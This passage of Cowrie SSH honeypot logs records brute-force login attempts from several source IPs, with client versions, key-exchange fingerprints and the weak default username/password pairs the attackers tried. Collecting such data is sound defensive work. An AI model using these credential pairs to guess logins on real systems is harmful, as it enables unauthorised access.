S":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:05.402318Z","src_ip":"192.109.200.237","session":"489a6900d290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:05.657196Z","src_ip":"192.109.200.237","session":"489a6900d290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:06.744054Z","src_ip":"192.109.200.237","session":"489a6900d290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60530,"dst_ip":"159.203.135.109","dst_port":22,"session":"06668be7ffdf","protocol":"ssh","message":"New connection: 192.109.200.237:60530 (159.203.135.109:22) [session: 06668be7ffdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:08.447488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:08.452466Z","src_ip":"192.109.200.237","session":"06668be7ffdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:08.534350Z","src_ip":"192.109.200.237","session":"06668be7ffdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:08.779925Z","src_ip":"192.109.200.237","session":"06668be7ffdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:09.865834Z","src_ip":"192.109.200.237","session":"06668be7ffdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":51246,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0239675cdec","protocol":"ssh","message":"New connection: 213.209.159.56:51246 (159.203.135.109:22) [session: e0239675cdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:10.071249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:10.075424Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:10.157325Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera","message":"login attempt [vera/vera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:10.560013Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57604,"dst_ip":"159.203.135.109","dst_port":22,"session":"f342472d402e","protocol":"ssh","message":"New connection: 192.109.200.237:57604 (159.203.135.109:22) [session: f342472d402e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:11.437647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:11.442218Z","src_ip":"192.109.200.237","session":"f342472d402e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:11.524422Z","src_ip":"192.109.200.237","session":"f342472d402e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera1","message":"login attempt [vera/vera1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:11.648859Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:11.878280Z","src_ip":"192.109.200.237","session":"f342472d402e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera123","message":"login attempt [vera/vera123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:12.733905Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50438,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b62202e6da","protocol":"ssh","message":"New connection: 37.233.85.71:50438 (10.17.0.5:22) [session: 97b62202e6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:12.912434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:12.917571Z","src_ip":"37.233.85.71","session":"97b62202e6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:12.962194Z","src_ip":"192.109.200.237","session":"f342472d402e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:13.087337Z","src_ip":"37.233.85.71","session":"97b62202e6da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjk","message":"login attempt [root/gfhjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:13.401998Z","src_ip":"37.233.85.71","session":"97b62202e6da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera1234","message":"login attempt [vera/vera1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:13.818736Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:14.509719Z","src_ip":"37.233.85.71","session":"97b62202e6da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57630,"dst_ip":"159.203.135.109","dst_port":22,"session":"48991f08af8d","protocol":"ssh","message":"New connection: 192.109.200.237:57630 (159.203.135.109:22) [session: 48991f08af8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:14.679343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:14.705390Z","src_ip":"192.109.200.237","session":"48991f08af8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:14.766067Z","src_ip":"192.109.200.237","session":"48991f08af8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera12345","message":"login attempt [vera/vera12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:14.904785Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:15.087287Z","src_ip":"192.109.200.237","session":"48991f08af8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:15.991946Z","src_ip":"213.209.159.56","session":"e0239675cdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:16.174746Z","src_ip":"192.109.200.237","session":"48991f08af8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57652,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcc5a9113839","protocol":"ssh","message":"New connection: 192.109.200.237:57652 (159.203.135.109:22) [session: bcc5a9113839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:17.747618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:17.752333Z","src_ip":"192.109.200.237","session":"bcc5a9113839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:17.835651Z","src_ip":"192.109.200.237","session":"bcc5a9113839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:18.081400Z","src_ip":"192.109.200.237","session":"bcc5a9113839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:19.165852Z","src_ip":"192.109.200.237","session":"bcc5a9113839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56964,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ef001d25c63","protocol":"ssh","message":"New connection: 192.109.200.237:56964 (159.203.135.109:22) [session: 4ef001d25c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:20.758242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:20.762936Z","src_ip":"192.109.200.237","session":"4ef001d25c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:20.844963Z","src_ip":"192.109.200.237","session":"4ef001d25c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:21.091005Z","src_ip":"192.109.200.237","session":"4ef001d25c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:22.179148Z","src_ip":"192.109.200.237","session":"4ef001d25c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56970,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5f47a168ebc","protocol":"ssh","message":"New connection: 192.109.200.237:56970 (159.203.135.109:22) [session: c5f47a168ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:23.792877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:23.855379Z","src_ip":"192.109.200.237","session":"c5f47a168ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:23.892422Z","src_ip":"192.109.200.237","session":"c5f47a168ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:24.317804Z","src_ip":"192.109.200.237","session":"c5f47a168ebc","protocol":"ssh"}
